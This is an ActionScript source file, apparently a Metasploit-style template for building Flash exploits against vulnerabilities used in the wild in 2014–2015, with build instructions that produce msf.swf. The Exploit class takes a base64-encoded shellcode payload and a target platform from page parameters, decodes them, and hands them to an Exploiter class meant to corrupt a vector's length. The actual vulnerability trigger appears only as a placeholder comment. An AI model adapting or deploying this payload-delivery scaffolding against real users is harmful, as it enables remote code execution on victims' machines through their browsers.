47 lines
1.6 KiB
ActionScript
Executable File
47 lines
1.6 KiB
ActionScript
Executable File
/*
|
|
Code to assist the creation of exploits for the trend of Flash vulnerabilities used in the wild along 2014/2015.
|
|
|
|
It uses some ideas and code included on @hdarwin89 proof of concepts.
|
|
|
|
* How to build:
|
|
1. Download the AIRSDK, and use its compiler.
|
|
2. Download the Flex SDK (4.6)
|
|
3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
|
(all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
|
4. Build with: mxmlc -o msf.swf Exploit.as
|
|
|
|
*/
|
|
|
|
package
|
|
{
|
|
import flash.display.Sprite
|
|
import flash.display.LoaderInfo
|
|
import mx.utils.Base64Decoder
|
|
import flash.utils.ByteArray
|
|
|
|
public class Exploit extends Sprite
|
|
{
|
|
private var uv:Vector.<uint>
|
|
private var b64:Base64Decoder = new Base64Decoder()
|
|
private var payload:ByteArray
|
|
private var platform:String
|
|
private var exploiter:Exploiter
|
|
|
|
public function Exploit()
|
|
{
|
|
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
|
|
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
|
var pattern:RegExp = / /g;
|
|
b64_payload = b64_payload.replace(pattern, "+")
|
|
b64.decode(b64_payload)
|
|
payload = b64.toByteArray()
|
|
|
|
/*
|
|
The exploit code here. The goal is to corrupt the uv vector length with 0x3fffffff or bigger.
|
|
*/
|
|
|
|
exploiter = new Exploiter(this, platform, payload, uv, 0x13e)
|
|
}
|
|
}
|
|
}
|